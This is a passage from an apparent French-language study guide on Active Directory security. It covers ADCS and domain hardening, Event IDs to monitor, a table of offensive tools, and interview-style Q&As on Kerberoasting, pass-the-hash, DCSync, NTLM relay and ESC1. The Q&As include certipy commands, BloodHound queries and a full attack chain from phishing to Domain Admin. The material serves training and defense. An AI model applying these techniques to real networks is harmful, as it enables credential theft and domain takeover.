ESC9-16Attaques avancées (shadow credentials, PFX theft, relay variations)Escalade vers DA

Défenses ADCS

  • Certipy / Certify audit — scanner régulièrement les templates vulnérables
  • Désactiver le flag EDITF_ATTRIBUTESUBJECTALTNAME2
  • Activer HTTPS + EPA sur les endpoints Web Enrollment
  • Auditer les permissions sur les templates CA
  • Désactiver ENROLLEE_SUPPLIES_SUBJECT sur tous les templates non nécessaires
  • Microsoft: KB5014754 (mai 2022) — renforce la validation des certs Kerberos
15

Hardening & Détection AD

DÉFENSE

Mesures de hardening prioritaires

✅ Microsoft LAPS

Passwords admin locaux aléatoires uniques par machine. Bloque la propagation latérale via compte admin local commun. Déployer LAPS v2 (intégré Windows 2019+).

✅ Credential Guard

Virtualise LSASS dans un contexte sécurisé. Bloque l'extraction de credentials via Mimikatz sekurlsa. Requis: UEFI + Secure Boot + Hyper-V.

✅ Protected Users Group

Interdit : NTLM, RC4, Kerberos délégation, credentials en cache. Ajouter tous les comptes admin dans ce groupe.

✅ Tiered Admin Model

Tier 0 (DC/CA), Tier 1 (servers), Tier 2 (workstations). Comptes séparés par tier. Empêche la latéralité entre tiers.

✅ SMB Signing obligatoire

GPO : Microsoft network server → Digitally sign communications (always). Bloque NTLM relay sur SMB.

✅ Désactiver LLMNR / NBT-NS

GPO Computer → DNS Client → Turn Off Multicast Name Resolution = Enabled. Bloque Responder.

Event IDs critiques à monitorer

Event IDDescriptionAttaque associée
4624Successful logonType 3 NTLM = PTH ; Type 10 = RDP
4625Failed logonBrute force / password spraying
4648Logon with explicit credentialsRunas, PTH, NTLM relay
4662Operation on AD objectDCSync (DS-Replication-Get-Changes)
4663Attempt to access objectNTDS.dit access, SYSVOL scraping
4688Process creationExecution via WMI, PsExec, lateral movement
4698Scheduled task createdPersistance, lateral movement
4720User account createdBackdoor account
4768TGT requested (AS-REQ)AS-REP Roasting si no preauthentication
4769TGS requestedKerberoasting (RC4 = 0x17 suspect)
4771Kerberos pre-auth failedBrute force Kerberos
4776NTLM authenticationPTH, NTLM relay, brute force
7045Service installedPsExec, persistence

Outils défensifs recommandés

  • PingCastle — Audit de sécurité AD avec score de risque + recommandations. Gratuit.
  • Purple Knight (Semperis) — Détection d'indicateurs de compromission AD (IOEs/IOCs)
  • Microsoft Defender for Identity (ex-ATA) — Détection d'attaques AD en temps réel
  • BloodHound Enterprise — Attack path management continu (version DefenseOps)
  • Certipy / Certify — Scanner les templates ADCS vulnérables
  • Alsid / Tenable.ad — Monitoring continu de la posture AD

Tooling — Référence complète

OFFENSIF
OutilOSCatégorieUsage clé
MimikatzWinCredential Dumpsekurlsa, lsadump, kerberos, golden/silver tickets
RubeusWinKerberosKerberoast, AS-REP, PTT, OPtH, dump tickets
ImpacketLinSuite complètesecretsdump, GetUserSPNs, GetNPUsers, ntlmrelayx, psexec, wmiexec
BloodHound/SharpHoundWin/LinCartographieGraphe des chemins d'attaque, queries Cypher
PowerViewWinÉnumérationGet-DomainUser, Find-InterestingDomainAcl, ACL abuse
CrackMapExec / nxcLinSwiss Army KnifeEnum, spray, PTH, exec, SAM dump, shares
evil-winrmLinRemote ShellWinRM shell, PTH, upload/download
ResponderLinMitMLLMNR/NBT-NS poisoning, capture NTLMv2
CertipyLinADCSFind ESC1-8, request/auth certs, relay ADCS
CertifyWinADCSFind vulnerable templates, request certificates
PetitPotamLin/WinCoerce AuthForcer l'auth NTLM du DC → relay vers ADCS/LDAP
CoercerLinCoerce AuthAutomatise tous les protocols de coercition (PrinterBug, PetitPotam, DFSCoerce...)
KerbruteLinBrute / EnumEnum usernames via Kerberos, password spray discret
LdapdomaindumpLinÉnumérationDump AD via LDAP → HTML/JSON lisible
HashcatAnyCracking-m 13100 (Kerberoast), -m 18200 (AS-REP), -m 5600 (NTLMv2)

Q&A

Questions — Entraînement

PRATIQUE
🎯
Essaie de répondre mentalement avant d'ouvrir chaque réponse. Ces questions couvrent ce qui est attendu en entretien de pentest AD ou en certification (CPTS, OSCP, CRTE).
Q01Quelle est la différence entre Kerberoasting et AS-REP Roasting ? Lesquels de ces comptes sont ciblés ?
Kerberoasting cible les comptes avec un SPN (Service Principal Name) — typiquement des comptes de service. Tout utilisateur authentifié peut demander un TGS pour un SPN, et ce ticket est chiffré avec le NT hash du compte de service. On l'extrait puis on le craque offline. Mode hashcat : -m 13100 (RC4) ou -m 19700 (AES256). AS-REP Roasting cible les comptes avec DONT_REQ_PREAUTH activé. Sans pré-authentification, n'importe qui peut envoyer une AS-REQ et obtenir une réponse contenant une portion chiffrée avec le NT hash du user — même sans credentials valides. Mode hashcat : -m 18200. Résumé : Kerberoasting = comptes de service + user authentifié requis. AS-REP = users ordinaires mal configurés + attaque possible anonymement.
Q02Explique Pass-the-Hash. Peut-on faire PTH avec un hash NTLMv2 capturé par Responder ?
Pass-the-Hash exploite le fait que le protocole NTLM accepte le NT hash directement comme preuve d'authentification, sans le mot de passe en clair. Le NT hash est statique (MD4 du password) — il ne change que si le password change. Non, on ne peut pas faire PTH avec un NTLMv2. Le NTLMv2 est une réponse challenge/response dynamique : chaque authentification produit un NTLMv2 différent (il inclut un challenge unique du serveur + un nonce client + un timestamp). Il est non-réutilisable. On peut : 1) Tenter de le cracker offline pour obtenir le password en clair, puis l'utiliser normalement. 2) Le relayer immédiatement vers une autre cible (NTLM Relay) — mais pas le rejouer plus tard.
Q03Qu'est-ce qu'un Golden Ticket et quelles sont ses différences avec un Silver Ticket ?
Golden Ticket : TGT forgé, signé avec le NT hash du compte krbtgt. Permet de s'authentifier comme n'importe quel utilisateur (même inexistant), avec n'importe quels groupes. Durée : jusqu'à 10 ans par défaut. Implique un contact avec le KDC à chaque TGS-REQ. Pré-requis : hash NT de krbtgt (via DCSync). Silver Ticket : TGS forgé pour un service spécifique, signé avec le NT hash du compte de service (pas krbtgt). Accès limité à un seul service. Aucun contact DC — entièrement offline → très difficile à détecter. Pré-requis : hash NT du compte de service seulement. Différence clé : Golden = accès à tout le domaine + contact KDC. Silver = accès à 1 service + zéro contact KDC (plus discret mais portée limitée).
Q04Comment fonctionne DCSync ? Quels droits sont nécessaires et comment les obtenir ?
DCSync simule un Domain Controller secondaire qui demande la réplication AD via le protocole MS-DRSR. Il demande spécifiquement les attributs unicodePwd, supplementalCredentials, et ntPwdHistory — qui contiennent les NT hashes. Droits nécessaires : DS-Replication-Get-Changes + DS-Replication-Get-Changes-All. Par défaut accordés à : Domain Admins, Enterprise Admins, Domain Controllers. Comment les obtenir sans DA : 1) Via WriteDACL ou GenericAll sur l'objet Domain → utiliser PowerView pour s'accorder les droits DCSync. 2) Via AdminSDHolder compromise. 3) BloodHound montre qui a ces droits via l'edge "DCSync". Détection : EventID 4662 avec les GUIDs de réplication, depuis une IP qui n'est pas un DC.
Q05Explique l'attaque NTLM Relay. Quel est le pré-requis principal et pourquoi ?
NTLM Relay intercepte une authentification NTLM (capturée via LLMNR poisoning, PetitPotam, etc.) et la redirige vers une machine cible. La machine cible croit que la requête vient de la victime légitime. Pré-requis principal : SMB Signing désactivé sur la cible. Si SMB Signing est activé, chaque message SMB est signé avec la session key — que l'attaquant n'a pas. Sans signature → les messages non signés sont acceptés → relay fonctionne. La machine cible vérifie l'authentification NTLM mais pas l'intégrité des messages. Flux : Victime → [LLMNR capture] → Attaquant → [Relay] → Cible vulnérable → auth réussie → shell/dump SAM. NTLMv2 peut être relayé (pas PTH) car le relay est en temps réel — la session key est dérivée de la même transaction.
Q06Qu'est-ce que l'ESC1 dans le contexte ADCS et comment l'exploites-tu ?
ESC1 est une misconfiguration de template ADCS. Conditions : 1) msPKI-Certificate-Name-Flag contient ENROLLEE_SUPPLIES_SUBJECT — le demandeur contrôle le SAN. 2) EKU inclut Client Authentication. 3) Enrollment autorisé aux utilisateurs ordinaires. Exploitation : Un utilisateur ordinaire demande un certificat en spécifiant dans le SAN l'UPN de Administrator (administrator@corp.local). Le certificat est émis pour "Administrator" selon l'AD. On utilise ce certificat pour s'authentifier via PKINIT (Kerberos avec certificat) et obtenir le TGT d'Administrator — ou directement son NT hash via certipy auth. Commandes clés : certipy find -vulnerable pour trouver les templates, puis certipy req -upn administrator@corp.local, puis certipy auth -pfx admin.pfx. Résultat : NT hash d'Administrator → Pass-the-Hash → DA.
Q07Qu'est-ce que l'AdminSDHolder et comment est-il abusé pour la persistance ?
AdminSDHolder est un objet AD (CN=AdminSDHolder,CN=System,DC=...) qui sert de template de sécurité pour les groupes et comptes privilégiés. Un processus appelé SDProp s'exécute toutes les 60 minutes et copie les ACLs d'AdminSDHolder sur tous les objets protégés (Domain Admins, Enterprise Admins, krbtgt, Administrator...). Abus : Si l'attaquant a les droits DA (ou WriteDACL sur AdminSDHolder), il ajoute ses droits (GenericAll) sur AdminSDHolder. SDProp propagera ces droits sur tous les comptes/groupes protégés dans les 60 minutes suivantes. Même si un admin révoque les droits manuellement sur un objet, ils sont restaurés lors du prochain cycle SDProp. Persistance indirecte : avec GenericAll sur les groupes privilegiés, l'attaquant peut se ré-ajouter à Domain Admins à tout moment.
Q08Comment BloodHound aide-t-il à identifier les chemins d'attaque ? Cite 3 Cypher queries utiles.
BloodHound collecte via SharpHound toutes les relations AD (memberships groupes, ACLs, sessions, droits délégation, SPNs, GPOs...) et les stocke dans une base Neo4j. L'interface graphique permet de visualiser les chemins d'attaque sous forme de graphe orienté. 3 queries utiles : 1) Chemin vers DA : MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p — trouve le chemin le plus court depuis n'importe quel user. 2) Users Kerberoastables avec droits élevés : MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true RETURN u.name — combinaison Kerberoasting + escalade. 3) Comptes avec DCSync : MATCH p=(u)-[:DCSync|AllExtendedRights]->(d:Domain) RETURN p — identifie qui peut faire DCSync sans être DA explicitement.
Q09Pourquoi les comptes de service devraient utiliser gMSA ? Qu'est-ce que ça change pour Kerberoasting ?
gMSA (Group Managed Service Accounts) sont des comptes managés par AD dont le password est automatiquement géré : 128 caractères aléatoires, rotation automatique tous les 30 jours. Impact sur Kerberoasting : Les TGS demandés pour un gMSA produisent un hash NT de 128 chars aléatoires. Ce hash est computationnellement impossible à cracker — même avec du matériel dédié et des années, la probabilité de trouver la valeur est quasi nulle. On peut toujours demander et capturer le TGS, mais le cracking ne produira jamais de résultat. Avantages supplémentaires : le password ne peut pas être extrait de la mémoire de la machine qui utilise le service (stocké dans LSA secrets managés), pas de password à gérer manuellement, pas d'oubli de rotation. Limite : nécessite de migrer les services existants — certaines applications legacy ne supportent pas gMSA.
Q10Décris une chaîne d'attaque complète partant d'un foothold utilisateur ordinaire jusqu'à Domain Admin.
Scénario réaliste : 1) Phishing → shell sur une workstation comme user ordinaire "john". 2) Énumérationbloodhound-python pour cartographier le domaine. BloodHound révèle : john a GenericWrite sur "svc_sql" (compte de service avec SPN). 3) Targeted Kerberoasting → Ajouter un SPN à svc_sql via GenericWrite, demander le TGS, cracker offline → password "Sql2020!" obtenu. 4) Latéralité → svc_sql a des sessions sur DB01. evil-winrm vers DB01 avec les credentials svc_sql. 5) Élévation locale → Mimikatz sur DB01 → hash NT du DA "corp\admin" trouvé en mémoire (session active). 6) DCSync → PTH avec le hash DA sur le DC → impacket-secretsdump → hash krbtgt + tous les NT hashes. 7) Persistance → Golden Ticket avec hash krbtgt + AdminSDHolder backdoor. Durée typique : 2-4h en environnement non patchée.

Checklist — Maîtrise Active Directory

À COCHER

Concepts fondamentaux

  • Structure AD : DC, NTDS.dit, SYSVOL, krbtgt
  • Flux Kerberos complet : AS-REQ/REP, TGS-REQ/REP
  • NT hash vs NTLMv2 — différences pour PTH/Relay
  • Groupes privilégiés : DA, EA, Schema, Backup Ops
  • BloodHound : collecter, queries Cypher, chemins
  • Kerberoasting : SPN → TGS → crack offline
  • AS-REP Roasting : DONT_REQ_PREAUTH
  • PTH avec Impacket, evil-winrm, CrackMapExec

Attaques avancées

  • NTLM Relay : Responder + ntlmrelayx + SMB signing
  • DCSync : droits requis + Impacket secretsdump
  • ACL Abuse : GenericAll, WriteDACL, GenericWrite
  • Golden Ticket : krbtgt hash → persistance totale
  • Silver Ticket : service hash → accès discret
  • ADCS ESC1 : SAN arbitraire → DA via cert
  • ADCS ESC8 : NTLM relay → cert DC → DCSync
  • AdminSDHolder : persistance via SDProp
📚
Sources de référence : "Certified Pre-Owned" (Will Schroeder & Lee Christensen, SpecterOps 2021) pour ADCS. "The Hacker Recipes" (thehacker.recipes) pour les techniques offensives. MITRE ATT&CK TA0006 (Credential Access). Microsoft Docs pour les Event IDs et les défenses. HTB Academy — Active Directory Enumeration & Attacks pour la pratique.